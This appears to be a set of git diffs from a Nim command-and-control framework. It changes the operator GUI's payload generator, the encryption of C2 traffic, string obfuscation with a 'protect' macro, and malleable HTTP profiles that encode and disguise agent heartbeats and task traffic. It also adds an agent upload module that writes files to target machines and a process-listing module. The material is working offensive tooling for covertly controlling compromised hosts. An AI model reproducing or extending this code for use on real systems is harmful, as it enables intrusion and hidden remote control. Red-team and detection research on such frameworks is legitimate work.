proc AgentModal*(): AgentModalComponent =
result = new AgentModalComponent
result.show = false
result.listener = 0
result.sleepDelay = 5
result.jitter = 15
@@ -96,11 +98,13 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBui
let modalWidth = max(500.0f, vp.Size.x * 0.25)
igSetNextWindowSize(vec2(modalWidth, 0.0f), ImGuiCond_Always.int32)
var show = true
var show = component.show
let windowFlags = ImGuiWindowFlags_None.int32 # or ImGuiWindowFlags_NoMove.int32
if igBeginPopupModal("Generate Payload", addr show, windowFlags):
defer: igEndPopup()
component.show = show
var availableSize: ImVec2
igGetContentRegionAvail(addr availableSize)
@@ -234,7 +238,7 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBui
killDate: if component.killDateEnabled: component.killDate else: 0,
modules: modules
)
igEndDisabled()
igSameLine(0.0f, textSpacing)

View File

@@ -15,6 +15,7 @@ type
agentImpersonation*: Table[string, string]
selection: ptr ImGuiSelectionBasicStorage
consoles: ptr Table[string, ConsoleComponent]
focusedConsole*: string
proc SessionsTable*(title: string, consoles: ptr Table[string, ConsoleComponent]): SessionsTableComponent =
result = new SessionsTableComponent
@@ -23,6 +24,7 @@ proc SessionsTable*(title: string, consoles: ptr Table[string, ConsoleComponent]
result.agentActivity = initTable[string, int64]()
result.selection = ImGuiSelectionBasicStorage_ImGuiSelectionBasicStorage()
result.consoles = consoles
result.focusedConsole = ""
proc cmp(x, y: UIAgent): int =
return cmp(x.firstCheckin, y.firstCheckin)
@@ -39,9 +41,7 @@ proc interact(component: SessionsTableComponent) =
if not component.consoles[].hasKey(agent.agentId):
component.consoles[][agent.agentId] = Console(agent)
# Focus the existing console window
else:
igSetWindowFocus_Str(fmt"[{agent.agentId}] {agent.username}@{agent.hostname}".cstring)
component.focusedConsole = fmt"[{agent.agentId}] {agent.username}@{agent.hostname}"
component.selection.ImGuiSelectionBasicStorage_Clear()

View File

@@ -7,7 +7,7 @@ import ./[types, utils]
Symmetric AES256 GCM encryption for secure C2 traffic
Ensures both confidentiality and integrity of the packet
]#
proc generateBytes*(T: typedesc[Key | Iv | Key16]): array =
proc generateBytes*(T: typedesc[Key | Iv | KeyRC4]): array =
var bytes: T
if randomBytes(bytes) != sizeof(T):
raise newException(CatchableError, protect("Failed to generate byte array."))
@@ -57,7 +57,7 @@ proc validateDecryption*(key: Key, iv: Iv, encData: seq[byte], sequenceNumber: u
Elliptic curve cryptography ensures that the actual session key is never sent over the network
Private keys and shared secrets are wiped from agent memory as soon as possible
]#
{.compile: "monocypher/monocypher.c".}
{.compile: protect("monocypher/monocypher.c").}
# C function imports from (monocypher/monocypher.c)
proc crypto_x25519*(shared_secret: ptr byte, your_secret_key: ptr byte, their_public_key: ptr byte) {.importc, cdecl.}

View File

@@ -1,72 +1,146 @@
import parsetoml, strutils, sequtils, random
import ./types
proc findKey(profile: Profile, path: string): TomlValueRef =
let keys = path.split(".")
let target = keys[keys.high]
var current = profile
for i in 0 ..< keys.high:
let temp = current.getOrDefault(keys[i])
if temp == nil:
return nil
current = temp
return current.getOrDefault(target)
import strutils, sequtils, random, base64, algorithm
import ./[types, utils]
import ./toml/toml
export parseFile, parseString, free, getTableKeys, getRandom
# Takes a specific "."-separated path as input and returns a default value if the key does not exits
# Example: cq.profile.getString("http-get.agent.heartbeat.prefix", "not found") returns the string value of the
# prefix key, or "not found" if the target key or any sub-tables don't exist
# '#' characters represent wildcard characters and are replaced with a random alphanumerical character
# '#' characters represent wildcard characters and are replaced with a random alphanumerical character (a-zA-Z0-9)
# '$' characters are replaced with a random number (0-9)
#[
Helper functions
]#
proc randomChar(): char =
let alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
return alphabet[rand(alphabet.len - 1)]
proc randomNumber(): char =
let numbers = "0123456789"
return numbers[rand(numbers.len - 1)]
proc getRandom*(values: seq[TomlValueRef]): TomlValueRef =
if values.len == 0:
return nil
return values[rand(values.len - 1)]
#[
Wrapper functions
]#
proc getStringValue*(key: TomlValueRef, default: string = ""): string =
# In some cases, the profile can define multiple values for a key, e.g. for HTTP headers
# A random entry is selected from these specifications
var value: string = ""
if key.kind == TomlValueKind.String:
value = key.getStr(default)
elif key.kind == TomlValueKind.Array:
value = key.getElems().getRandom().getStr(default)
if key.isNil or key.kind == None:
return default
# Replace '#' with a random alphanumerical character and return the resulting string
return value.mapIt(if it == '#': randomChar() else: it).join("")
var value: string = ""
if key.kind == String:
value = key.strVal
elif key.kind == Array:
let randomElem = getRandom(key.arrayVal)
if randomElem != nil and randomElem.kind == String:
value = randomElem.strVal
# Replace '#' with random alphanumerical character
# Replace '$' with a random digit
return value.mapIt(if it == '#': randomChar() elif it == '$': randomNumber() else: it).join("")
proc getString*(profile: Profile, path: string, default: string = ""): string =
proc getString*(profile: Profile, path: string, default: string = ""): string =
let key = profile.findKey(path)
if key == nil:
return default
return key.getStringValue(default)
proc getBool*(profile: Profile, path: string, default: bool = false): bool =
proc getInt*(profile: Profile, path: string, default: int = 0): int =
let key = profile.findKey(path)
if key == nil:
return default
return key.getBool(default)
proc getInt*(profile: Profile, path: string, default = 0): int =
let key = profile.findKey(path)
if key == nil:
return default
return key.getInt(default)
proc getTable*(profile: Profile, path: string): TomlTableRef =
proc getBool*(profile: Profile, path: string, default: bool = false): bool =
let key = profile.findKey(path)
return key.getBool(default)
proc getTable*(profile: Profile, path: string): TomlTableRef =
let key = profile.findKey(path)
if key == nil:
return new TomlTableRef
return key.getTable()
proc getArray*(profile: Profile, path: string): seq[TomlValueRef] =
let key = profile.findKey(path)
if key == nil:
if key.kind != Array:
return @[]
return key.getElems()
return key.getElems()
proc isArray*(profile: Profile, path: string): bool =
let key = profile.findKey(path)
return key.kind == Array
# Retrieve string or binary prefix
proc getStringOrByteArray*(profile: Profile, path: string): string =
result = ""
if profile.isArray(path):
for element in profile.getArray(path):
result &= char(element.getInt())
else:
result = profile.getString(path)
#[
Data transformation
]#
proc applyDataTransformation*(profile: Profile, path: string, data: seq[byte]): string =
# 1. Encoding
var steps: seq[TomlTableRef] = @[]
# Apply all encoding techniques in the order specified in the profile
if profile.isArray(path & protect(".encoding")):
for encoding in profile.getArray(path & protect(".encoding")):
steps.add(encoding.getTable())
else:
steps = @[profile.getTable(path & protect(".encoding"))]
var dataString: string = Bytes.toString(data)
for step in steps:
case step.getTableValue(protect("type")).getStr(default = "none")
of protect("base64"):
dataString = encode(dataString, safe = step.getTableValue(protect("url-safe")).getBool()).replace("=", "")
of protect("hex"):
dataString = dataString.toHex().toLowerAscii()
of protect("rot"):
dataString = Bytes.toString(encodeRot(string.toBytes(dataString), step.getTableValue(protect("key")).getInt(default = 13)))
of protect("xor"):
dataString = Bytes.toString(xorBytes(string.toBytes(dataString), step.getTableValue(protect("key")).getInt(default = 1)))
of protect("none"):
discard
# 2. Add prefix & suffix
let
prefix = profile.getStringOrByteArray(path & protect(".prefix"))
suffix = profile.getStringOrByteArray(path & protect(".suffix"))
return prefix & dataString & suffix
proc reverseDataTransformation*(profile: Profile, path: string, data: string): seq[byte] =
# 1. Remove prefix & suffix
let
prefix = profile.getStringOrByteArray(path & protect(".prefix"))
suffix = profile.getStringOrByteArray(path & protect(".suffix"))
var dataString = data[len(prefix) ..^ len(suffix) + 1]
# 2. Decoding
var steps: seq[TomlTableRef] = @[]
# Apply all encoding techniques in reverse order
if profile.isArray(path & protect(".encoding")):
for encoding in profile.getArray(path & protect(".encoding")):
steps.add(encoding.getTable())
else:
steps = @[profile.getTable(path & protect(".encoding"))]
for step in steps.reversed():
case step.getTableValue(protect("type")).getStr(default = "none")
of protect("base64"):
dataString = decode(dataString)
of protect("hex"):
dataString = parseHexStr(dataString)
of protect("rot"):
dataString = Bytes.toString(decodeRot(string.toBytes(dataString), step.getTableValue(protect("key")).getInt(default = 13)))
of protect("xor"):
dataString = Bytes.toString(xorBytes(string.toBytes(dataString), step.getTableValue(protect("key")).getInt(default = 1)))
of protect("none"):
discard
return string.toBytes(dataString)

1983
src/common/toml/toml.c Normal file

File diff suppressed because it is too large Load Diff

137
src/common/toml/toml.h Normal file
View File

@@ -0,0 +1,137 @@
#ifndef TOML_H
#define TOML_H
#ifdef _MSC_VER
# pragma warning(disable : 4996)
#endif
#ifdef __cplusplus
# define TOML_EXTERN extern "C"
#else
# define TOML_EXTERN extern
#endif
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
typedef struct toml_table_t toml_table_t;
typedef struct toml_array_t toml_array_t;
typedef struct toml_value_t toml_value_t;
typedef struct toml_timestamp_t toml_timestamp_t;
typedef struct toml_keyval_t toml_keyval_t;
typedef struct toml_arritem_t toml_arritem_t;
typedef struct toml_pos_t toml_pos_t;
// TOML table.
struct toml_table_t {
const char* key; // Key for this table
int keylen; // length of key.
bool implicit; // Table was created implicitly
bool readonly; // No more modification allowed
int nkval; // key-values in the table
toml_keyval_t** kval;
int narr; // arrays in the table
toml_array_t** arr;
int ntbl; // tables in the table
toml_table_t** tbl;
};
// TOML array.
struct toml_array_t {
const char* key; // key to this array
int keylen; // length of key.
int kind; // element kind: 'v'alue, 'a'rray, or 't'able, 'm'ixed
int type; // for value kind: 'i'nt, 'd'ouble, 'b'ool, 's'tring, 't'ime, 'D'ate, 'T'imestamp, 'm'ixed
int nitem; // number of elements
toml_arritem_t* item;
};
struct toml_arritem_t {
int valtype; // for value kind: 'i'nt, 'd'ouble, 'b'ool, 's'tring, 't'ime, 'D'ate, 'T'imestamp
char* val;
toml_array_t* arr;
toml_table_t* tbl;
};
// TOML key/value pair.
struct toml_keyval_t {
const char* key; // key to this value
int keylen; // length of key.
const char* val; // the raw value
};
// Token position.
struct toml_pos_t {
int line;
int col;
};
// Timestamp type; some values may be empty depending on the value of kind.
struct toml_timestamp_t {
// datetime type:
//
// 'd'atetime Full date + time + TZ
// 'l'local-datetime Full date + time but without TZ
// 'D'ate-local Date only, without TZ
// 't'ime-local Time only, without TZ
char kind;
int year, month, day;
int hour, minute, second, millisec;
int tz; // Timezone offset in minutes
};
// Parsed TOML value.
//
// The string value s is a regular NULL-terminated C string, but the string
// length is also given in sl since TOML values may contain NULL bytes. The
// value is guaranteed to be correct UTF-8.
struct toml_value_t {
bool ok; // Was this value present?
union {
struct {
char* s; // string value; must be freed after use.
int sl; // string length, excluding NULL.
};
toml_timestamp_t ts; // datetime
bool b; // bool
int64_t i; // int
double d; // double
} u;
};
// toml_parse() parses a TOML document from a string. Returns 0 on error, with
// the error message stored in errbuf.
//
// toml_parse_file() is identical, but reads from a file descriptor.
//
// Use toml_free() to free the return value; this will invalidate all handles
// for this table.
TOML_EXTERN toml_table_t* toml_parse(char* toml, char* errbuf, int errbufsz);
TOML_EXTERN toml_table_t* toml_parse_file(FILE* fp, char* errbuf, int errbufsz);
TOML_EXTERN void toml_free(toml_table_t* table);
// Table functions.
//
// toml_table_len() gets the number of direct keys for this table;
// toml_table_key() gets the nth direct key in this table.
TOML_EXTERN int toml_table_len(const toml_table_t* table);
TOML_EXTERN const char* toml_table_key(const toml_table_t* table, int keyidx, int* keylen);
TOML_EXTERN toml_value_t toml_table_string(const toml_table_t* table, const char* key);
TOML_EXTERN toml_value_t toml_table_bool(const toml_table_t* table, const char* key);
TOML_EXTERN toml_value_t toml_table_int(const toml_table_t* table, const char* key);
TOML_EXTERN toml_value_t toml_table_double(const toml_table_t* table, const char* key);
TOML_EXTERN toml_value_t toml_table_timestamp(const toml_table_t* table, const char* key);
TOML_EXTERN toml_array_t* toml_table_array(const toml_table_t* table, const char* key);
TOML_EXTERN toml_table_t* toml_table_table(const toml_table_t* table, const char* key);
// Array functions.
TOML_EXTERN int toml_array_len(const toml_array_t* array);
TOML_EXTERN toml_value_t toml_array_string(const toml_array_t* array, int idx);
TOML_EXTERN toml_value_t toml_array_bool(const toml_array_t* array, int idx);
TOML_EXTERN toml_value_t toml_array_int(const toml_array_t* array, int idx);
TOML_EXTERN toml_value_t toml_array_double(const toml_array_t* array, int idx);
TOML_EXTERN toml_value_t toml_array_timestamp(const toml_array_t* array, int idx);
TOML_EXTERN toml_array_t* toml_array_array(const toml_array_t* array, int idx);
TOML_EXTERN toml_table_t* toml_array_table(const toml_array_t* array, int idx);
#endif // TOML_H

301
src/common/toml/toml.nim Normal file
View File

@@ -0,0 +1,301 @@
import random, strutils
# Wrapper for the toml-c library
# Original: github.com/arp242/toml-c/
{.compile: "toml.c".}
type
TomlKeyVal = object
key: cstring
keylen: cint
val: cstring
TomlArrItem = object
valtype: cint
val: cstring
arr: ptr TomlArray
tbl: ptr TomlTable
TomlTable = object
key: cstring
keylen: cint
implicit: bool
readonly: bool
nkval: cint
kval: ptr ptr TomlKeyVal
narr: cint
arr: ptr ptr TomlArray
ntbl: cint
tbl: ptr ptr TomlTable
TomlArray = object
key: cstring
keylen: cint
kind: cint
`type`: cint
nitem: cint
item: ptr TomlArrItem
TomlValue = object
case ok: bool
of false: discard
of true:
s: cstring
sl: cint
TomlTableRef* = ptr TomlTable
TomlValueKind* = enum
String, Int, Bool, Float, Table, Array, None
TomlValueRef* = ref object
case kind*: TomlValueKind
of String:
strVal*: string
of Int:
intVal*: int64
of Bool:
boolVal*: bool
of Float:
floatVal*: float64
of Table:
tableVal*: TomlTableRef
of Array:
arrayVal*: ptr TomlArray
of None:
discard
# C library functions
proc toml_parse(toml: cstring, errbuf: cstring, errbufsz: cint): TomlTableRef {.importc, cdecl.}
proc toml_parse_file(fp: File, errbuf: cstring, errbufsz: cint): TomlTableRef {.importc, cdecl.}
proc toml_free(tab: TomlTableRef) {.importc, cdecl.}
proc toml_table_len(tab: TomlTableRef): cint {.importc, cdecl.}
proc toml_table_key(tab: TomlTableRef, keyidx: cint, keylen: ptr cint): cstring {.importc, cdecl.}
proc toml_table_string(tab: TomlTableRef, key: cstring): TomlValue {.importc, cdecl.}
proc toml_table_int(tab: TomlTableRef, key: cstring): TomlValue {.importc, cdecl.}
proc toml_table_bool(tab: TomlTableRef, key: cstring): TomlValue {.importc, cdecl.}
proc toml_table_double(tab: TomlTableRef, key: cstring): TomlValue {.importc, cdecl.}
proc toml_table_array(tab: TomlTableRef, key: cstring): ptr TomlArray {.importc, cdecl.}
proc toml_table_table(tab: TomlTableRef, key: cstring): TomlTableRef {.importc, cdecl.}
proc toml_array_len(arr: ptr TomlArray): cint {.importc, cdecl.}
proc toml_array_table(arr: ptr TomlArray, idx: cint): TomlTableRef {.importc, cdecl.}
proc toml_array_string(arr: ptr TomlArray, idx: cint): TomlValue {.importc, cdecl.}
proc toml_array_int(arr: ptr TomlArray, idx: cint): TomlValue {.importc, cdecl.}
#[
Retrieve a random element from a TOML array
]#
proc getRandom*(arr: ptr TomlArray): TomlValueRef =
if arr.isNil:
return nil
let n = toml_array_len(arr)
if n == 0:
return nil
let idx = rand(n.int - 1)
# String
let strVal {.volatile.} = toml_array_string(arr, idx.cint)
if strVal.ok:
let strPtr = cast[ptr cstring](cast[int](addr strVal) + 8)[]
if not strPtr.isNil:
return TomlValueRef(kind: String, strVal: $strPtr)
# Table
let table {.volatile.} = toml_array_table(arr, idx.cint)
if not table.isNil:
return TomlValueRef(kind: Table, tableVal: table)
# Int
let intVal {.volatile.} = toml_array_int(arr, idx.cint)
if intVal.ok:
let intPtr = cast[ptr int64](cast[int](addr intVal) + 8)[]
return TomlValueRef(kind: Int, intVal: intPtr)
return nil
#[
Parse TOML string or configuration file
]#
proc parseString*(toml: string): TomlTableRef =
var errbuf: array[200, char]
var tomlCopy = toml
result = toml_parse(tomlCopy.cstring, cast[cstring](addr errbuf[0]), 200)
if result.isNil:
raise newException(ValueError, "TOML parse error: " & $cast[cstring](addr errbuf[0]))
proc parseFile*(path: string): TomlTableRef =
var errbuf: array[200, char]
let fp = open(path, fmRead)
if fp.isNil:
raise newException(IOError, "Cannot open file: " & path)
result = toml_parse_file(fp, cast[cstring](addr errbuf[0]), 200)
fp.close()
if result.isNil:
raise newException(ValueError, "TOML parse error: " & $cast[cstring](addr errbuf[0]))
proc free*(table: TomlTableRef) =
if not table.isNil:
toml_free(table)
#[
Takes a specific "."-separated path as input and returns the TOML Value that it finds
]#
proc findKey*(profile: TomlTableRef, path: string): TomlValueRef =
if profile.isNil:
return TomlValueRef(kind: None)
let keys = path.split(".")
var current = profile
# Navigate through nested tables
for i in 0 ..< keys.len - 1:
let nextTable = toml_table_table(current, keys[i].cstring)
if nextTable.isNil:
return TomlValueRef(kind: None)
current = nextTable
let finalKey = keys[^1].cstring
# Try different types
# {.volatile.} is added to avoid dangling pointers
block findStr:
let val {.volatile.} = toml_table_string(current, finalKey)
if val.ok:
let strPtr = cast[ptr cstring](cast[int](addr val) + 8)[]
if not strPtr.isNil:
return TomlValueRef(kind: String, strVal: $strPtr)
block checkInt:
let val {.volatile.} = toml_table_int(current, finalKey)
if val.ok:
let intPtr = cast[ptr int64](cast[int](addr val) + 8)[]
return TomlValueRef(kind: Int, intVal: intPtr)
block checkBool:
let val {.volatile.} = toml_table_bool(current, finalKey)
if val.ok:
let boolPtr = cast[ptr bool](cast[int](addr val) + 8)[]
return TomlValueRef(kind: Bool, boolVal: boolPtr)
block checkDouble:
let val {.volatile.} = toml_table_double(current, finalKey)
if val.ok:
let dblPtr = cast[ptr float64](cast[int](addr val) + 8)[]
return TomlValueRef(kind: Float, floatVal: dblPtr)
block checkArray:
let arr {.volatile.} = toml_table_array(current, finalKey)
if not arr.isNil:
return TomlValueRef(kind: Array, arrayVal: arr)
block checkTable:
let table {.volatile.} = toml_table_table(current, finalKey)
if not table.isNil:
return TomlValueRef(kind: Table, tableVal: table)
return TomlValueRef(kind: None)
#[
Retrieve the actual value from a TOML value
]#
proc getStr*(value: TomlValueRef, default: string = ""): string =
if value.kind == String:
return value.strVal
return default
proc getInt*(value: TomlValueRef, default: int = 0): int =
if value.kind == Int:
return value.intVal.int
return default
proc getBool*(value: TomlValueRef, default: bool = false): bool =
if value.kind == Bool:
return value.boolVal
return default
proc getTable*(value: TomlValueRef): TomlTableRef =
if value.kind == Table:
return value.tableVal
return nil
proc getElems*(value: TomlValueRef): seq[TomlValueRef] =
if value.kind != Array:
return @[]
let arr = value.arrayVal
let n = toml_array_len(arr)
result = @[]
for i in 0 ..< n:
# Try table first
let table {.volatile.} = toml_array_table(arr, i.cint)
if not table.isNil:
result.add(TomlValueRef(kind: Table, tableVal: table))
continue
# Try string
let strVal {.volatile.} = toml_array_string(arr, i.cint)
if strVal.ok:
let strPtr = cast[ptr cstring](cast[int](addr strVal) + 8)[]
if not strPtr.isNil:
result.add(TomlValueRef(kind: String, strVal: $strPtr))
continue
# Try int
let intVal {.volatile.} = toml_array_int(arr, i.cint)
if intVal.ok:
let intPtr = cast[ptr int64](cast[int](addr intVal) + 8)[]
result.add(TomlValueRef(kind: Int, intVal: intPtr))
proc getTableKeys*(profile: TomlTableRef, path: string): seq[tuple[key: string, value: TomlValueRef]] =
result = @[]
let key = profile.findKey(path)
let table = key.getTable()
if table.isNil:
return
let numKeys = toml_table_len(table)
for i in 0 ..< numKeys:
var keylen: cint
let keyPtr = toml_table_key(table, i.cint, addr keylen)
if keyPtr.isNil:
continue
let key = $keyPtr
let value = profile.findKey(path & "." & key)
if value.kind != None:
result.add((key: key, value: value))
proc getTableValue*(table: TomlTableRef, key: string): TomlValueRef =
if table.isNil:
return TomlValueRef(kind: None)
let ckey = key.cstring
block checkString:
let val {.volatile.} = toml_table_string(table, ckey)
if val.ok:
let strPtr = cast[ptr cstring](cast[int](addr val) + 8)[]
if not strPtr.isNil:
return TomlValueRef(kind: String, strVal: $strPtr)
block checkInt:
let val {.volatile.} = toml_table_int(table, ckey)
if val.ok:
let intPtr = cast[ptr int64](cast[int](addr val) + 8)[]
return TomlValueRef(kind: Int, intVal: intPtr)
block checkBool:
let val {.volatile.} = toml_table_bool(table, ckey)
if val.ok:
let boolPtr = cast[ptr bool](cast[int](addr val) + 8)[]
return TomlValueRef(kind: Bool, boolVal: boolPtr)
return TomlValueRef(kind: None)

View File

@@ -1,10 +1,12 @@
import tables
import parsetoml, json
import json
import system
import mummy
when defined(client):
import whisky
import ./toml/toml
# Custom Binary Task structure
const
MAGIC* = 0x514E3043'u32 # Magic value: C0NQ
@@ -71,14 +73,6 @@ type
RESULT_BINARY = 1'u8
RESULT_NO_OUTPUT = 2'u8
ConfigType* = enum
CONFIG_LISTENER_UUID = 0'u8
CONFIG_LISTENER_IP = 1'u8
CONFIG_LISTENER_PORT = 2'u8
CONFIG_SLEEP_DELAY = 3'u8
CONFIG_PUBLIC_KEY = 4'u8
CONFIG_PROFILE = 5'u8
LogType* {.size: sizeof(uint8).} = enum
LOG_INFO = "[INFO] "
LOG_ERROR = "[FAIL] "
@@ -120,7 +114,7 @@ type
Key* = array[32, byte]
Iv* = array[12, byte]
AuthenticationTag* = array[16, byte]
Key16* = array[16, byte]
KeyRC4* = array[16, byte]
# Packet structure
type
@@ -293,7 +287,7 @@ type
privateKey*: Key
publicKey*: Key
Profile* = TomlValueRef
Profile* = TomlTableRef
WsConnection* = ref object
when defined(server):
@@ -308,6 +302,7 @@ type
threads*: Table[string, Thread[Listener]]
agents*: Table[string, Agent]
keyPair*: KeyPair
profileString*: string
profile*: Profile
client*: WsConnection

View File

@@ -38,6 +38,24 @@ macro protect*(str: untyped): untyped =
# Alternate the XOR key using the FNV prime (1677619)
key = (key *% 1677619) and 0x7FFFFFFF
#[
Data encoding
]#
proc encodeRot*(data: seq[byte], key: int): seq[byte] =
result = newSeq[byte](data.len())
for i, b in data:
result[i] = byte((int(b) + key) mod 256)
proc decodeRot*(data: seq[byte], key: int): seq[byte] =
result = newSeq[byte](data.len())
for i, b in data:
result[i] = byte((int(b) - key + 256) mod 256)
proc xorBytes*(data: seq[byte], key: int): seq[byte] =
result = newSeq[byte](data.len())
for i, b in data:
result[i] = b xor byte(key)
#[
Utility functions
]#

View File

@@ -27,6 +27,7 @@ let module* = Module(
example: protect("upload /path/to/payload.exe"),
arguments: @[
Argument(name: protect("file"), description: protect("Path to file to upload to the target machine."), argumentType: BINARY, isRequired: true),
Argument(name: protect("destination"), description: protect("Path to upload the file to. By default, uploads to current directory."), argumentType: STRING, isRequired: false),
],
execute: executeUpload
)
@@ -40,7 +41,7 @@ when not defined(agent):
when defined(agent):
import os, std/paths, strformat
import os, strformat
import ../agent/utils/io
import ../agent/protocol/result
import ../common/serialize
@@ -72,17 +73,18 @@ when defined(agent):
try:
var arg: string = Bytes.toString(task.args[0].data)
print arg
# Parse binary argument
var unpacker = Unpacker.init(arg)
let
fileName = unpacker.getDataWithLengthPrefix()
var
destination = unpacker.getDataWithLengthPrefix()
fileContents = unpacker.getDataWithLengthPrefix()
# If a destination has been passed as an argument, upload it there instead
if task.argCount == 2:
destination = Bytes.toString(task.args[1].data)
# Write the file to the current working directory
let destination = fmt"{paths.getCurrentDir()}\{fileName}"
writeFile(fmt"{destination}", fileContents)
writeFile(destination, fileContents)
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(fmt"File uploaded to {destination}."))

View File

@@ -40,14 +40,7 @@ when defined(agent):
import os, strutils, strformat, tables, algorithm
import ../agent/utils/io
import ../agent/protocol/result
# TODO: Add user context to process information
type
ProcessInfo = object
pid: DWORD
ppid: DWORD
name: string
children: seq[DWORD]
import ../agent/core/process
proc executePs(ctx: AgentCtx, task: Task): TaskResult =
@@ -55,48 +48,28 @@ when defined(agent):
try:
var processes: seq[DWORD] = @[]
var procMap = initTable[DWORD, ProcessInfo]()
var output: string = ""
# Take a snapshot of running processes
let hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
if hSnapshot == INVALID_HANDLE_VALUE:
raise newException(CatchableError, GetLastError().getError)
# Close handle after object is no longer used
defer: CloseHandle(hSnapshot)
var procMap = processList()
var pe32: PROCESSENTRY32
pe32.dwSize = DWORD(sizeof(PROCESSENTRY32))
# Loop over processes to fill the map
if Process32First(hSnapshot, addr pe32) == FALSE:
raise newException(CatchableError, GetLastError().getError)
while true:
var procInfo = ProcessInfo(
pid: pe32.th32ProcessID,
ppid: pe32.th32ParentProcessID,
name: $cast[WideCString](addr pe32.szExeFile[0]),
children: @[]
)
procMap[pe32.th32ProcessID] = procInfo
if Process32Next(hSnapshot, addr pe32) == FALSE:
break
# Build child-parent relationship
# Create child-parent process relationships
for pid, procInfo in procMap.mpairs():
if procMap.contains(procInfo.ppid):
if procMap.contains(procInfo.ppid) and procInfo.ppid != 0:
procMap[procInfo.ppid].children.add(pid)
else:
processes.add(pid)
# Add header row
let headers = @[protect("PID"), protect("PPID"), protect("Process")]
output &= fmt"{headers[0]:<10}{headers[1]:<10}{headers[2]:<25}" & "\n"
output &= "-".repeat(len(headers[0])).alignLeft(10) & "-".repeat(len(headers[1])).alignLeft(10) & "-".repeat(len(headers[2])).alignLeft(25) & "\n"
let headers = @[
protect("PID"),
protect("PPID"),
protect("Process"),
protect("Session"),
protect("User context")
]
output &= fmt"{headers[0]:<10}{headers[1]:<10}{headers[2]:<40}{headers[3]:<10}{headers[4]}" & "\n"
output &= "-".repeat(len(headers[0])).alignLeft(10) & "-".repeat(len(headers[1])).alignLeft(10) & "-".repeat(len(headers[2])).alignLeft(40) & "-".repeat(len(headers[3])).alignLeft(10) & "-".repeat(len(headers[4])) & "\n"
# Format and print process
proc printProcess(pid: DWORD, indentSpaces: int = 0) =
@@ -104,16 +77,15 @@ when defined(agent):
return
var process = procMap[pid]
let indent = " ".repeat(indentSpaces)
output &= fmt"{process.pid:<10}{process.ppid:<10}{indent}{process.name:<25}" & "\n"
let processName = " ".repeat(indentSpaces) & process.name
output &= fmt"{$process.pid:<10}{$process.ppid:<10}{processName:<40}{$process.session:<10}{process.user}" & "\n"
# Recursively print child processes with indentation
process.children.sort()
for childPid in process.children:
printProcess(childPid, indentSpaces + 2)
# Iterate over root processes
# Iterate over root processes to construct the output
processes.sort()
for pid in processes:
printProcess(pid)

View File

@@ -126,7 +126,7 @@ proc handleResult*(resultData: seq[byte]) =
# A binary result packet consists of the filename and file contents, both prefixed with their respective lengths as a uint32 value
var unpacker = Unpacker.init(Bytes.toString(taskResult.data))
let
fileName = unpacker.getDataWithLengthPrefix().replace("\\", "_").replace(":", "") # Replace path characters for better storage of downloaded files
fileName = unpacker.getDataWithLengthPrefix().replace("\\", "_").replace("/", "_").replace(":", "") # Replace path characters for better storage of downloaded files
fileData = unpacker.getDataWithLengthPrefix()
# Create loot directory for the agent

View File

@@ -1,5 +1,5 @@
import mummy, terminal, strformat, parsetoml, tables
import strutils, base64
import mummy, terminal
import strutils, strformat
import ./handlers
import ../globals
@@ -35,7 +35,6 @@ proc httpGet*(request: Request) =
{.cast(gcsafe).}:
# Check heartbeat metadata placement
var heartbeat: seq[byte]
var heartbeatString: string
case cq.profile.getString("http-get.agent.heartbeat.placement.type"):
@@ -46,30 +45,20 @@ proc httpGet*(request: Request) =
return
heartbeatString = request.headers.get(heartbeatHeader)
of "parameter":
of "query":
let param = cq.profile.getString("http-get.agent.heartbeat.placement.name")
heartbeatString = request.queryParams.get(param)
if heartbeatString.len <= 0:
request.respond(404, body = "")
return
of "uri":
discard
of "body":
discard
heartbeatString = request.body
else: discard
# Retrieve and apply data transformation to get raw heartbeat packet
let
prefix = cq.profile.getString("http-get.agent.heartbeat.prefix")
suffix = cq.profile.getString("http-get.agent.heartbeat.suffix")
encHeartbeat = heartbeatString[len(prefix) ..^ len(suffix) + 1]
case cq.profile.getString("http-get.agent.heartbeat.encoding.type", default = "none"):
of "base64":
heartbeat = string.toBytes(decode(encHeartbeat))
of "none":
heartbeat = string.toBytes(encHeartbeat)
# Reverse data transformation to get raw heartbeat packet
let heartbeat = cq.profile.reverseDataTransformation("http-get.agent.heartbeat", heartbeatString)
try:
var responseBytes: seq[byte]
@@ -88,29 +77,20 @@ proc httpGet*(request: Request) =
responseBytes.add(task)
# Apply data transformation to the response
var response: string
case cq.profile.getString("http-get.server.output.encoding.type", default = "none"):
of "none":
response = Bytes.toString(responseBytes)
of "base64":
response = encode(responseBytes, safe = cq.profile.getBool("http-get.server.output.encoding.url-safe"))
else: discard
let prefix = cq.profile.getString("http-get.server.output.prefix")
let suffix = cq.profile.getString("http-get.server.output.suffix")
let payload = cq.profile.applyDataTransformation("http-get.server.output", responseBytes)
# Add headers, as defined in the team server profile
var headers: HttpHeaders
for header, value in cq.profile.getTable("http-get.server.headers"):
headers.add((header, value.getStringValue()))
for header in cq.profile.getTableKeys("http-get.server.headers"):
headers.add((header.key, header.value.getStringValue()))
request.respond(200, headers = headers, body = prefix & response & suffix)
request.respond(200, headers = headers, body = payload)
# Notify operator that agent collected tasks
cq.client.sendConsoleItem(agentId, LOG_INFO, fmt"{$response.len} bytes sent.")
cq.info(fmt"{$response.len} bytes sent.")
cq.client.sendConsoleItem(agentId, LOG_INFO, fmt"{$responseBytes.len} bytes sent.")
cq.info(fmt"{$responseBytes.len} bytes sent.")
except CatchableError:
except CatchableError as err:
request.respond(404, body = "")
#[
@@ -121,24 +101,49 @@ proc httpPost*(request: Request) =
{.cast(gcsafe).}:
try:
# Differentiate between registration and task result packet
var unpacker = Unpacker.init(request.body)
let header = unpacker.deserializeHeader()
# Retrieve data from the request
var dataString: string
case cq.profile.getString("http-post.agent.output.placement.type"):
of "header":
let dataHeader = cq.profile.getString("http-post.agent.output.placement.name")
if not request.headers.hasKey(dataHeader):
request.respond(400, body = "")
return
dataString = request.headers.get(dataHeader)
of "query":
let param = cq.profile.getString("http-post.agent.output.placement.name")
dataString = request.queryParams.get(param)
if dataString.len <= 0:
request.respond(400, body = "")
return
of "body":
dataString = request.body
else: discard
# Reverse data transformation
